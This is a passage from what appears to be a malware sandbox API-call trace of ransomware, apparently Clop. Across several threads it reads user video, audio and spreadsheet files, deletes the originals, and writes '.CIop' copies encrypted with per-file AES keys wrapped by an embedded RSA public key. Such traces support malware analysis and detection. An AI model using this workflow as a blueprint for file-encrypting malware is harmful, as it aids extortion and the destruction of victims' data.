CryptGenKey (in: hProv=0x67c098, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x67dc78) returned 1 [0107.051] CryptExportKey (in: hKey=0x67dc78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0107.051] CryptExportKey (in: hKey=0x67dc78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x326e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0107.051] CryptDestroyKey (hKey=0x67dc78) returned 1 [0107.051] CryptReleaseContext (hProv=0x67c098, dwFlags=0x0) returned 1 [0107.051] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\0-Tv sYMFqGkma 6x.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\0-tv symfqgkma 6x.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0107.052] WriteFile (in: hFile=0x6a0, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x4284, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x326e5d8*=0x4284, lpOverlapped=0x0) returned 1 [0107.052] SetFilePointer (in: hFile=0x6a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4284 [0107.052] WriteFile (in: hFile=0x6a0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0107.053] SetFilePointer (in: hFile=0x6a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x428b [0107.053] SetErrorMode (uMode=0x1) returned 0x1 [0107.053] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0107.053] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0107.053] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0107.053] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x67b460) returned 1 [0107.053] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67b460, dwCertEncodingType=0x1, pInfo=0x692b18, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x67dbb8) returned 1 [0107.053] CryptEncrypt (in: hKey=0x67dbb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0107.053] CryptEncrypt (in: hKey=0x67dbb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67b9b0*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67b9b0*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0107.053] WriteFile (in: hFile=0x6a0, lpBuffer=0x67b9b0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67b9b0*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0107.053] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.053] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.054] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.054] CloseHandle (hObject=0x6a0) returned 1 [0107.055] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\0-Tv sYMFqGkma 6x.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\0-tv symfqgkma 6x.wav")) returned 0 Thread: id = 222 os_tid = 0xdc0 [0107.014] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.014] lstrcpyW (in: lpString1=0x347f368, lpString2="w w7R5kGwiD8.mkv" | out: lpString1="w w7R5kGwiD8.mkv") returned="w w7R5kGwiD8.mkv" [0107.014] lstrcpyW (in: lpString1=0x347f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0107.014] SetErrorMode (uMode=0x1) returned 0x1 [0107.014] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\w w7R5kGwiD8.mkv") returned 75 [0107.014] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\w w7R5kGwiD8.mkv", dwFileAttributes=0x20) returned 1 [0107.014] StrStrW (lpFirst="w w7R5kGwiD8.mkv", lpSrch=".CIop") returned 0x0 [0107.014] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\w w7R5kGwiD8.mkv.CIop") returned 80 [0107.014] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\w w7R5kGwiD8.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\w w7r5kgwid8.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0107.015] ReadFile (in: hFile=0x6a8, lpBuffer=0x2f02090, nNumberOfBytesToRead=0xee6, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f02090*, lpNumberOfBytesRead=0x347e5e8*=0xee6, lpOverlapped=0x0) returned 1 [0107.015] CloseHandle (hObject=0x6a8) returned 1 [0107.015] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\w w7R5kGwiD8.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\w w7r5kgwid8.mkv")) returned 1 [0107.056] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0107.056] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0107.056] SetErrorMode (uMode=0x1) returned 0x1 [0107.056] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x67ba38) returned 1 [0107.059] CryptGenKey (in: hProv=0x67ba38, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x67dc78) returned 1 [0107.127] CryptExportKey (in: hKey=0x67dc78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0107.127] CryptExportKey (in: hKey=0x67dc78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x347e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0107.127] CryptDestroyKey (hKey=0x67dc78) returned 1 [0107.127] CryptReleaseContext (hProv=0x67ba38, dwFlags=0x0) returned 1 [0107.127] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\w w7R5kGwiD8.mkv.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\w w7r5kgwid8.mkv.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c [0107.127] WriteFile (in: hFile=0x69c, lpBuffer=0x2f02090*, nNumberOfBytesToWrite=0xee6, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f02090*, lpNumberOfBytesWritten=0x347e5d8*=0xee6, lpOverlapped=0x0) returned 1 [0107.128] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xee6 [0107.128] WriteFile (in: hFile=0x69c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0107.128] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xeed [0107.128] SetErrorMode (uMode=0x1) returned 0x1 [0107.128] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0107.128] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0107.129] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0107.129] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x67bc58) returned 1 [0107.129] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67bc58, dwCertEncodingType=0x1, pInfo=0x692cb8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x67e278) returned 1 [0107.129] CryptEncrypt (in: hKey=0x67e278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0107.129] CryptEncrypt (in: hKey=0x67e278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67bf00*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67bf00*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0107.129] WriteFile (in: hFile=0x69c, lpBuffer=0x67bf00*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67bf00*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0107.129] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.129] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.129] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.130] CloseHandle (hObject=0x69c) returned 1 [0107.130] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\w w7R5kGwiD8.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\w w7r5kgwid8.mkv")) returned 0 Thread: id = 223 os_tid = 0xe58 [0107.077] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.078] lstrcpyW (in: lpString1=0x312f368, lpString2="1HSy82Y7UuTj0Jd69.mp4" | out: lpString1="1HSy82Y7UuTj0Jd69.mp4") returned="1HSy82Y7UuTj0Jd69.mp4" [0107.078] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0107.078] SetErrorMode (uMode=0x1) returned 0x1 [0107.078] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\1HSy82Y7UuTj0Jd69.mp4") returned 59 [0107.078] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\1HSy82Y7UuTj0Jd69.mp4", dwFileAttributes=0x20) returned 1 [0107.078] StrStrW (lpFirst="1HSy82Y7UuTj0Jd69.mp4", lpSrch=".CIop") returned 0x0 [0107.078] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\1HSy82Y7UuTj0Jd69.mp4.CIop") returned 64 [0107.078] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\1HSy82Y7UuTj0Jd69.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\1hsy82y7uutj0jd69.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c [0107.078] ReadFile (in: hFile=0x69c, lpBuffer=0x656668, nNumberOfBytesToRead=0x286b, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x312e5e8*=0x286b, lpOverlapped=0x0) returned 1 [0107.079] CloseHandle (hObject=0x69c) returned 1 [0107.079] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\1HSy82Y7UuTj0Jd69.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\1hsy82y7uutj0jd69.mp4")) returned 1 [0107.131] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0107.131] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0107.132] SetErrorMode (uMode=0x1) returned 0x1 [0107.132] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x67ba38) returned 1 [0107.134] CryptGenKey (in: hProv=0x67ba38, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67e0b8) returned 1 [0107.194] CryptExportKey (in: hKey=0x67e0b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0107.194] CryptExportKey (in: hKey=0x67e0b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0107.194] CryptDestroyKey (hKey=0x67e0b8) returned 1 [0107.194] CryptReleaseContext (hProv=0x67ba38, dwFlags=0x0) returned 1 [0107.194] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\1HSy82Y7UuTj0Jd69.mp4.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\1hsy82y7uutj0jd69.mp4.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0107.194] WriteFile (in: hFile=0x5c0, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x286b, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x312e5d8*=0x286b, lpOverlapped=0x0) returned 1 [0107.195] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x286b [0107.195] WriteFile (in: hFile=0x5c0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0107.195] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2872 [0107.195] SetErrorMode (uMode=0x1) returned 0x1 [0107.195] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0107.195] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0107.195] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0107.195] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x67b350) returned 1 [0107.196] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67b350, dwCertEncodingType=0x1, pInfo=0x692f28, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67de78) returned 1 [0107.196] CryptEncrypt (in: hKey=0x67de78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0107.196] CryptEncrypt (in: hKey=0x67de78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67c098*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67c098*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0107.196] WriteFile (in: hFile=0x5c0, lpBuffer=0x67c098*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67c098*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0107.196] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.196] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.196] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.196] CloseHandle (hObject=0x5c0) returned 1 [0107.197] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\1HSy82Y7UuTj0Jd69.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\1hsy82y7uutj0jd69.mp4")) returned 0 Thread: id = 224 os_tid = 0xe7c [0107.223] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.224] lstrcpyW (in: lpString1=0x326f368, lpString2="hGqTnSOKZQ5a1.ods" | out: lpString1="hGqTnSOKZQ5a1.ods") returned="hGqTnSOKZQ5a1.ods" [0107.224] lstrcpyW (in: lpString1=0x326f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" | out: 